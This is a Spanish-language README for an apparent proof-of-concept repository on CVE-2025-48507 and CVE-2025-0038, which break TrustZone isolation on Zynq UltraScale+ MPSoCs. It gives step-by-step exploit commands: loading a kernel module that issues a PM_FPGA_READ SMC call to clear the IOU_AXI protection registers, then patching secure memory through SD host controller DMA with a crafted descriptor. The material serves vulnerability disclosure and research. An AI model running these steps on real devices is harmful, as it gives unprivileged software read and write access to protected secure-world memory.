
Prueba de concepto de CVE-2025-48507. La falla de seguridad puede ser aprovechada por software no seguro (por ejemplo, Linux) para romper la Trust Zone y obtener acceso al mundo seguro.
El Software No Seguro podría explotar CVE-2025-48507 y CVE-2025-0038 para obtener acceso de lectura/escritura al Mundo Seguro en plataformas Zynq UltraScale+, rompiendo así el aislamiento de TrustZone. En esa medida, el Software No Seguro explota CVE-2025-0038 y CVE-2025-48507 para borrar los registros IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000) y cambiar el Controlador de Host SD como un Maestro Seguro. Luego, el software No Seguro (por ejemplo, Linux) aprovecha el Controlador de Host SD (la interfaz esclava sigue siendo No Segura) para escribir o leer desde cualquier memoria Segura.
Más información:
Plataformas afectadas:
Componentes afectados:
source/ : Código fuente para reproducir esta PoC en Zynq UltraScale+ MPSoCs (ZC104)
Para aprovechar CVE-2025-48507 y CVE-2025-0038
smc-tt.c: Módulo básico del kernel que permite que Linux No Seguro emita llamadas SMC arbitrarias.
Makefile: Un Makefile para compilación cruzada de módulos del kernel (Las rutas deben adaptarse).
Para explotar CVE-2025-0038 y CVE-2025-48507
doc/ : Presentaciones y artículo de investigación que detallan las vulnerabilidades de seguridad a nivel de TF-A y PMU.
hw_debug/: Scripts de depurador de hardware para depurar TF-A en la APU y el procesador PMU. Proporcionan un entorno para depurar las funciones afectadas en el firmware PMU y TF-A y confirmar el éxito del ataque. Estos scripts se usan con Trace32 y un depurador de hardware Lauterbach PowerDebug PRO JTAG. El depurador de hardware se ha conectado al puerto JTAG (J180) del ZCU104.
Construir un entorno afectado (es decir, Linux, TF-A, Firmware PMU...).
Al construir Linux, configure el controlador SDHC como módulo del kernel cargable a través de kconfig. Esto solo es necesario para la explotación.
Compile los módulos del kernel smc-tt.c y sdhci.c . Se puede usar el Makefile proporcionado adaptando las rutas del kernel y del compilador.
Para aprovechar los CVE, agregue smc-tt.ko al rootfs de Linux
Para la explotación de los CVE, agregue sdhci.ko y dma_patch.sh al rootfs de Linux
PoC y Explotación de los CVE:
En la PoC, el sistema (es decir, fslb, uboot...) fue arrancado desde una tarjeta SD. El rootfs de Linux se flasheó en un USB. Para el ataque DMA, Linux usó una partición vacía de la tarjeta SD accedida por el Controlador de Host SD manejado por el controlador SDHC modificado (sdhci.ko).
Para solo probar los CVE, se pueden omitir los pasos 2, 3 y 5.
Comandos de U-boot para arrancar Linux en mundo No Seguro con su rootfs en una partición USB:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
Inserte el controlador SDHC modificado para realizar acceso DMA arbitrario:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
Intente parchear la memoria Segura aprovechando el controlador SDHC modificado. Esto debería fallar ya que el SDHC sigue siendo No Seguro:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: PAYLOAD
ARG2: Descriptor malicioso para realizar acceso DMA no autorizado.
ARG3: Una partición de dispositivo gestionada por el Controlador de Host SD controlado por el controlador SDHC modificado.
Explote los CVE para borrar IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000):
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: Llamada SMC afectada (PM_FPGA_READ).
0xff24000000000100: Dirección a borrar (0xFF240000) (es decir, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) y la cantidad de bytes a borrar (0x00000100)
Ahora Linux puede aprovechar la DMA del SDHC para acceder completamente a la Memoria Segura
0x100000000: Leer los datos de PL de vuelta a la memoria principal (0x1). Como no se cargó nada, esto simplemente borrará la región de memoria objetivo.
Más información sobre los parámetros de PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
Intente parchear la memoria Segura nuevamente (0xFFDC0000). Esto debería tener éxito ya que el SDHC ahora es Seguro:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3